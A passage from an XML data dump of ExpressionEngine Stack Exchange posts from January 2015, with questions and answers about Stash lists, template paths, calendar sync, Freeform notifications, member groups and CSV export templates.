class=&quot;side-menu&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                {exp:stash:get_list name=&quot;patologie_list&quot;}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}&quot; class=&quot;active&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:stash:get_list}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/nav&amp;gt;&#xA;    &amp;lt;/aside&amp;gt;&#xA;&#xA;    &amp;lt;section class=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Le patologie trattate&amp;lt;/h1&amp;gt;&#xA;        {exp:stash:get_list name=&quot;patologie_list&quot; match=&quot;#^{segment_2}$#&quot; against=&quot;url_title&quot;}&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {testo_patologia}&#xA;&#xA;            &amp;lt;div class=&quot;related_entries&quot;&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    {exp:stash:get_list:matrix name=&quot;matrix_link_patologia&quot; context=&quot;{entry_id}&quot; limit=&quot;4&quot;}&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;{titolo_link_patologia}&amp;lt;/h3&amp;gt;&#xA;                        &amp;lt;p&amp;gt;{testo_link_patologia}&#xA;                            &amp;lt;a href=&quot;{link_patologia}&quot;&amp;gt;Continua&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    {/exp:stash:get_list:matrix}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:stash:get_list}&#xA;    &amp;lt;/section&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2015-01-13T17:53:22.123" LastActivityDate="2015-01-13T17:53:22.123" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="28419" PostTypeId="2" ParentId="28411" CreationDate="2015-01-13T16:30:00.123" Score="1" Body="&lt;p&gt;Are you using &lt;a href=&quot;https://github.com/croxton/Stash/wiki&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; already? If so, you can use its &lt;code&gt;unique&lt;/code&gt; parameter to exclude duplicates. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- ====================================&#xA;SET&#xA;========================================= --}&#xA;&#xA;{exp:stash:set_list name=&quot;links&quot; trim=&quot;yes&quot; parse=&quot;yes&quot;}&#xA;  {exp:playa:parents channel=&quot;teacher&quot; status=&quot;not closed&quot;}&#xA;    {stash:the-link}{link}{/stash:the-link}&#xA;  {/exp:playa:parents}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- ====================================&#xA;GET&#xA;========================================= --}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;{exp:stash:get_list name=&quot;links&quot; unique=&quot;yes&quot;}&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{the-link}&quot;&amp;gt;{the-link}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2015-01-13T16:30:00.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28420" PostTypeId="2" ParentId="28417" CreationDate="2015-01-13T16:41:43.007" Score="0" Body="&lt;p&gt;Yes, you're looking for &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#tmpl-file-basepath&quot; rel=&quot;nofollow&quot;&gt;tmpl_file_basepath&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['tmpl_file_basepath'] = '/home/site/public_html/templates/admin_site';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also consider using &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;FocusLab Master Config&lt;/a&gt;, which makes a multi-environment approach much cleaner.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="343" LastEditDate="2015-06-13T01:31:03.370" LastActivityDate="2015-06-13T01:31:03.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28421" PostTypeId="1" CreationDate="2015-01-13T17:05:18.573" Score="0" ViewCount="117" Body="&lt;p&gt;I've got a page behind a login that I have various member groups set up for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the member group, I want the link in the Downloads section to go to a different page: e.g. Contractors member group will go to /downloads/contractors, Students member group will go to  /downloads/students etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use my global variable for {group_title} in my page, it outputs &quot;Contractors&quot;.  Ideally it should output &quot;contractors&quot; in my link because if a member group has more than one word my URL isn't valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried wrapping {group_title} in CE String but it just outputs &quot;group_title&quot; into my HTML without the braces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:ce_str:ing url_title}{group_title}{/exp:ce_str:ing}&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2016-05-15T20:18:29.520" Title="CE String outputting global variable tag minus &quot;{ }&quot;" Tags="|parse-order|ce-image|global-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28422" PostTypeId="1" AcceptedAnswerId="31483" CreationDate="2015-01-13T19:30:10.527" Score="2" ViewCount="104" Body="&lt;p&gt;I've been using the excellent MX Title Control CE to append the epoch seconds to the end of my URL string so that they end up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com/jobs/this-is-a-new-job-1528549&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works great through the back end, but when I use Channel Form the url_title is always set to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience of getting these two to play nicely together?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included a field for the url_title in my Channel Form which is (I think) all I need to do, though the instructions are a little sparse...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1396" LastActivityDate="2015-05-13T16:25:54.123" Title="MX Title Control not working with Channel Form entries" Tags="|safecracker|url-title|mx-title-control|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28424" PostTypeId="2" ParentId="28384" CreationDate="2015-01-13T20:09:25.663" Score="0" Body="&lt;p&gt;It turns out this issue had nothing to do with the syntax above, which is correct.  The issue is with my placement of channel:entries tags.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it (please correct if I'm wrong) in EE 2.9+ conditionals are evaluated as soon as the requisite variables are known and only the “true” condition is parsed (the rest are discarded). Prior to the update, all the possible scenarios were parsed first and then one was chosen to render based on the outcome of the conditional test. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, this change in sequence results in the “true” condition being parsed outside of the channel:entries tag pair and failing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking at my original post and scratching your head, it's because I left out some key things.  A more complete representation of the code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- This is a wrapper template --}&#xA;&#xA;{exp:channel:entries}    &#xA;    {if '{exp:playa:children channel=&quot;sidebar_portlets&quot; var_prefix=&quot;sidebar&quot;}{sidebar:sidebar-text}{/exp:playa:children}' }&#xA;{/exp:channel:entries}&#xA;       {layout:contents} {!-- Stuff from another template --}&#xA;    {if:else}&#xA;       Do other stuff&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing this fixed it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- This is a wrapper template --}&#xA;&#xA;{exp:channel:entries}    &#xA;    {if '{exp:playa:children channel=&quot;sidebar_portlets&quot; var_prefix=&quot;sidebar&quot;}{sidebar:sidebar-text}{/exp:playa:children}' }&#xA;       {layout:contents} {!-- Stuff from another template --}&#xA;    {if:else}&#xA;       Do other stuff&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4931" LastEditorUserId="4931" LastEditDate="2015-01-14T15:04:49.183" LastActivityDate="2015-01-14T15:04:49.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28425" PostTypeId="1" CreationDate="2015-01-13T20:39:20.930" Score="1" ViewCount="127" Body="&lt;p&gt;I have 2 channels, artists and artwork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display the artwork entries where their parent entry, in the artists channel, has the status set to 'open'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to show all the fields from the artwork entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I can't search against the parent field status using the channel entries tag i presume I will have to use the query module, which I am happy to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What query would I use to show the entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-15T14:35:05.177" Title="Create a list of entries where parents status is open" Tags="|relationships|query|parent|query-module|children|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28426" PostTypeId="1" CreationDate="2015-01-13T21:13:41.680" Score="0" ViewCount="430" Body="&lt;p&gt;EE 2.9.2 - WYGWAM 3.3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a Channel Form, I am getting the error...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The file browser is disabled for security reasons. Please contact&#xA;  your system administrator and check the CKFinder configuration file.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...when trying to link to or upload a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Control Panel, Wygwam is working fine and the above scenario plays out as expected (works)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, the Wygwam configuration setting is pointing to a proper directory.&#xA;Yes, we've added an XID hash to the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else should I be looking for?&lt;/p&gt;&#xA;" OwnerUserId="631" LastEditorUserId="631" LastEditDate="2015-01-14T15:31:08.940" LastActivityDate="2015-12-16T03:46:34.027" Title="Channel Form: Why is Wygwam/CKFinder disabling the file browser for security reasons?" Tags="|safecracker|pixelandtonic|wygwam|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28427" PostTypeId="2" ParentId="22229" CreationDate="2015-01-13T21:27:59.023" Score="1" Body="&lt;p&gt;The white screen of death is often caused by this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes EE is set to output content as Gzip data.  When a PHP error occurs, the PHP error spits out first, and but the browser is expecting content that it can un-zip.  So you get a white screen of death.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable the Gzip preference, and the content will be served with a different mime-type, and then you'll get the error message displaying properly above a page of regular HTML, because the browser interprets the data correctly.&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2015-01-13T21:27:59.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28428" PostTypeId="1" CreationDate="2015-01-13T21:28:56.447" Score="0" ViewCount="60" Body="&lt;p&gt;I know that I can import data from a .ics file when creating a new calendar, but is it possible to do some sort of synchronization with Outlook on certain intervals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been tasked with building a Intranet and I'm trying to decide if I can save costs by building in EE rather than doing custom development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With synchronization, I need to have it run at an interval (cron job to hit a URL?) and be able to add/update/remove events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate any feedback, thanks!&lt;/p&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2016-05-22T10:22:26.383" Title="Solspace Calendar One-way Sync with Outlook?" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28429" PostTypeId="2" ParentId="26593" CreationDate="2015-01-13T22:11:06.547" Score="0" Body="&lt;p&gt;Not sure if you got this figured out yet on your own but here's what I would do: Membrr is not actively maintained (last I checked), but I know DevDemon has a new addon called &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/subscriptions&quot; rel=&quot;nofollow&quot;&gt;Subscriptions&lt;/a&gt; that looks killer. I haven't used it yet but it seems like it would do everything and then some that you are asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you don't need actual subscriptions, but just one-off allowing of creating entries I would use &lt;a href=&quot;https://devot-ee.com/add-ons/charge&quot; rel=&quot;nofollow&quot;&gt;Charge&lt;/a&gt;. I have used this in the past and what I did was created a AJAX request to a hidden template URL on the &quot;receipt&quot; page. What this did was created a new entry with that user as the author, then in the list of pages they were allowed to edit, I limited these to the ones by CURRENT_USER.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. You can hit me up if you want me to send you some code snippets.&lt;/p&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2015-01-13T22:11:06.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28431" PostTypeId="1" CreationDate="2015-01-13T22:59:23.323" Score="1" ViewCount="168" Body="&lt;p&gt;I am using MSM to create multiple sites on an EE project. When I create a new site I copy over all the channels/entries from my default site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go in to add/edit an entry all my file uploads say 'You do not have access to the directory specified for this field'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this I can go to the field settings and change 'Allowed directory' from 'All &gt; Uploads'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this is fairly time consuming as I have lots of file type fields. Is there any other way I can make this work without changing the above? Or when I create the new site have them set to 'uploads' which is how they are on the default site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Darren&lt;/p&gt;&#xA;" OwnerUserId="3858" LastActivityDate="2015-01-13T22:59:23.323" Title="'You do not have access to the directory specified for this field' issue with MSM" Tags="|file-uploads|multi-site-manager|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28432" PostTypeId="1" AcceptedAnswerId="28446" CreationDate="2015-01-14T01:10:22.767" Score="2" ViewCount="495" Body="&lt;p&gt;I'm using the File Upload field type in one of my web forms. The email notifications include the uploaded file as an attachment. Is there any way to change this to a download link? My reason is that most of the file uploads are too large for email.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2015-08-12T21:30:49.960" Title="How can I include a link instead of attachment in Freeform Pro email?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28433" PostTypeId="2" ParentId="26064" CreationDate="2015-01-14T01:44:58.040" Score="-1" Body="&lt;p&gt;I would recommend that you checkout Subscriptions from DevDemon instead. They have great support and their new module is really robust. I know it doesn't support PayPal Pro at the moment but maybe you can look into extending it through their plugin architecture or possibly paying them to add it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/subscriptions&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/expressionengine-addons/subscriptions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2015-01-14T01:44:58.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28434" PostTypeId="2" ParentId="25114" CreationDate="2015-01-14T01:46:39.450" Score="0" Body="&lt;p&gt;You can definitely do this with BrilliantRetail as well. You could simply remove the product pricing tags from the page templates and email templates and display only the product titles, options, etc. &lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2015-01-14T01:46:39.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28435" PostTypeId="5" CreationDate="2015-01-14T01:54:32.193" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-01-14T01:54:32.193" LastActivityDate="2015-01-14T01:54:32.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28436" PostTypeId="4" CreationDate="2015-01-14T01:54:32.193" Score="0" Body="BrilliantRetail is an e-commerce solution specifically designed for the ExpressionEngine CMS. More information on the module is available at www.brilliantretail.com" OwnerUserId="125" LastEditorUserId="125" LastEditDate="2015-01-14T20:39:49.670" LastActivityDate="2015-01-14T20:39:49.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28437" PostTypeId="2" ParentId="28401" CreationDate="2015-01-14T02:02:48.170" Score="1" Body="&lt;p&gt;By default, occurrences do not have their own ID, but share the ID of the main event entry. When an occurrence is edited, they get their own ID. If you usually pass an event_id in your tag, this ID will be different for the edited occurrence. This is why the &lt;code&gt;{event_parent_id}&lt;/code&gt; variable is available to pass the original event entry ID when necessary: &lt;a href=&quot;http://www.solspace.com/docs/calendar/events/#event_parent_id&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/events/#event_parent_id&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The better answer is to use &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; instead of &lt;code&gt;{exp:calendar:occurrences}&lt;/code&gt;&lt;/strong&gt;. This is particularly true since you're trying to display occurrences within a set timeframe (assumed from the date_range_start=&quot;&quot; and date_range_end=&quot;&quot; parameters in your code). &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; is the only tag that will calculate event occurrences within a set chronological timeframe. Details about how each tag works is explained in more detail here: &lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/getting_started/&lt;/a&gt; (&lt;strong&gt;Recommended read&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;, your edited occurrence should also be included in your occurrence list.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-01-14T02:02:48.170" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28438" PostTypeId="2" ParentId="28428" CreationDate="2015-01-14T02:09:23.507" Score="0" Body="&lt;p&gt;Using &lt;code&gt;{exp:calendar:icalendar}&lt;/code&gt; (&lt;a href=&quot;http://www.solspace.com/docs/calendar/icalendar/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/icalendar/&lt;/a&gt;), you can output an .ics file containing event entries from a calendar. This .ics file will be presented to your browser as a downloadable file (i.e. it's not outputted to the screen. You're prompted to download the file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Outlook can read this .ics file (really depends on the calendaring app whether it accepts a downloadable file when hitting a URL), then you could indeed import this information into Outlook (although I have never tried). It's not really synchronization but more exporting Calendar data, which can be used for import in other apps/software (eg. iCal).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-01-14T02:09:23.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28442" PostTypeId="1" AcceptedAnswerId="28444" CreationDate="2015-01-14T14:26:49.627" Score="0" ViewCount="164" Body="&lt;p&gt;Is there a way to move an existing member from one member group to another? If so, how can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is it possible to have one member belong to multiple groups? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="747" LastActivityDate="2015-01-14T14:48:06.240" Title="Changing or adding existing members to another member group" Tags="|members|solspace-user|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28444" PostTypeId="2" ParentId="28442" CreationDate="2015-01-14T14:48:06.240" Score="1" Body="&lt;p&gt;You should be able to change the member group from Member Administration --&gt; Member Preferences pane in the user profile page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a user to be part of multiple member groups, you can use any Module that threats members as entries, such as&#xA;&lt;a href=&quot;https://devot-ee.com/add-ons/user&quot; rel=&quot;nofollow&quot;&gt;Solspace User&lt;/a&gt;&#xA;or &lt;a href=&quot;https://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoovisitor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2015-01-14T14:48:06.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28445" PostTypeId="1" AcceptedAnswerId="35616" CreationDate="2015-01-14T15:26:25.447" Score="1" ViewCount="71" Body="&lt;p&gt;My EE+carttrob DB size is over 100MB, mostly because of the exp_cartthrob_cart and  exp_cartthrob_sessions tables. Can these be flushed/cleaned up at some point or better not to touch these? (sorry, I'm a total CB noob).&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2016-02-19T15:15:46.613" Title="Cartthrob DB size" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28446" PostTypeId="2" ParentId="28432" CreationDate="2015-01-14T16:23:00.233" Score="3" Body="&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the Freeform field tag: &lt;code&gt;{freeform:field:file}&lt;/code&gt; to your form and choose the directory you wish the files to be uploaded to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to your notification settings in Freeform and add the {file} tag inside (swap file for your file field name).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the &lt;strong&gt;Include Attachments&lt;/strong&gt; checkbox is unticked and hit save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you get notifications they should just contain the file name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it the full URL you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{site_url}[path-to-upload-directory]/{[field_name]}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{site_url}uploads/documents/{file}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should then link directly to your newly uploaded file. If you tick &lt;strong&gt;Enable HTML&lt;/strong&gt; too you could wrap them in an anchor and provide a link title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;{site_url}uploads/documents/{file}&quot;&amp;gt;Download File&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="2420" LastEditDate="2015-01-15T10:39:56.277" LastActivityDate="2015-01-15T10:39:56.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28447" PostTypeId="1" CreationDate="2015-01-14T16:25:26.983" Score="1" ViewCount="280" Body="&lt;p&gt;I think the answer to this is &quot;no&quot;, but is there any way in File Manager to replace an uploaded image?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if an image is used somewhere on the site, and we want to just replace it with a new one, we can just upload the new version, without needing to know what stylesheet or template file makes reference to it?  Seems like a basic request.  I guess the only other option is to delete the file and upload one with the same exact filename.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-jim&lt;/p&gt;&#xA;" OwnerUserId="3703" LastActivityDate="2015-01-14T16:56:02.427" Title="Replace a file / image in File Manager?" Tags="|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28448" PostTypeId="2" ParentId="28447" CreationDate="2015-01-14T16:56:02.427" Score="1" Body="&lt;p&gt;If you have FTP access, you should just be able to overwrite the file on the server.  Anywhere it's referenced on the site then, should pick up the file.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-01-14T16:56:02.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28449" PostTypeId="1" AcceptedAnswerId="28450" CreationDate="2015-01-14T17:31:09.647" Score="0" ViewCount="172" Body="&lt;p&gt;I have a custom calendar I am building for a client. I wanted to filter the fields before I started displaying so I could avoid conditional statements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example channel tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;calendar_events_and_entries&quot; search:start_date=&quot;&amp;amp;gt;1422748800&quot; search:start_date=&quot;&amp;amp;lt;1425081600&quot; orderby=&quot;start_date&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to know if the search:start_date is over ridden by the second one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help you can provide. &lt;/p&gt;&#xA;" OwnerUserId="4935" LastActivityDate="2015-01-14T18:24:03.363" Title="Get a range of entries based on a custom date field" Tags="|channel-entries|search|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28450" PostTypeId="2" ParentId="28449" CreationDate="2015-01-14T18:24:03.363" Score="0" Body="&lt;p&gt;The way you are currently doing it, yes it would. But you can specify or values &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#exact-matching&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#exact-matching&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;calendar_events_and_entries&quot; search:start_date=&quot;&amp;amp;gt;1422748800|&amp;amp;lt;1425081600&quot; orderby=&quot;start_date&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2015-01-14T18:24:03.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28451" PostTypeId="1" AcceptedAnswerId="28454" CreationDate="2015-01-14T18:58:42.120" Score="0" ViewCount="51" Body="&lt;p&gt;I've had the mx cloner and zenbu add on working for a while now.  However, I set up some additional content groups, for others to make edits.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try &quot;Cloning&quot; an entry from another group, it looks like it's going to clone, but when you save it, it's actually just replacing the entry you had there.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried all the permissions I could find, but can't get this to work for any group but &quot;Super Admins&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Jim&lt;/p&gt;&#xA;" OwnerUserId="3703" LastEditorUserId="3703" LastEditDate="2015-01-14T19:11:59.553" LastActivityDate="2015-01-14T20:42:49.033" Title="Mx Cloner with Zenbu - only SuperAdmins can clone" Tags="|zenbu|mx-cloner|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28452" PostTypeId="1" AcceptedAnswerId="28455" CreationDate="2015-01-14T19:46:17.683" Score="0" ViewCount="102" Body="&lt;p&gt;I have a template that outputs a csv, php is set to run on input to allow headers to be set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each row I need to calculate the result of 2 fields multiplied and output this as a field to the csv.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the field values available in PHP? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there another way to mulitply 2 fields in an entries loop?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$csv_ids = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('csv_id');&#xA;&#xA;header(&quot;Content-type: application/vnd.ms-excel&quot;);&#xA;header(&quot;Content-Disposition: attachment; filename=stock_&quot;.date(&quot;d_m_Y_H_i&quot;).&quot;.csv&quot;);&#xA;header(&quot;Pragma: no-cache&quot;);&#xA;header(&quot;Expires: 0&quot;);&#xA;?&amp;gt;&#xA;CODE,field1, field2&#xA;{exp:channel:entries channel=&quot;stock&quot; limit=&quot;10000&quot; entry_id=&quot;&amp;lt;?=$csv_ids?&amp;gt;&quot;}&#xA;{code},{field1},{field2},{field5}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need 'field5' to be the result of multiplying 'field3' by 'field4'.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2015-01-14T20:01:19.043" LastActivityDate="2015-01-15T11:05:04.507" Title="Output the value of field1 * field2 within an entries loop" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28453" PostTypeId="1" CreationDate="2015-01-14T20:23:53.250" Score="1" ViewCount="143" Body="&lt;p&gt;My website has a custom module (created by someone else), that pulls in third-party data from an API and uses the Channel Entries API to add or update new entries in ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently, we have had to add some custom fields to the channel in question, to hold manually-entered info (that is in addition to the fields entered/updated by the API). Since the API will null out fields that aren't specifically passed to the update_entry function, I was able to adjust the module to retrieve info from those fields and include them in the update_entry array. BUT, some of the custom fields we have to add are Matrix fields and they are still being cleared out. I'm at a total loss on how to resolve this. The update_entry is clearing the '1' flag out of the Matrix field in channel_data -- the underlying matrix_data content remains intact (but without the '1', won't display).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any 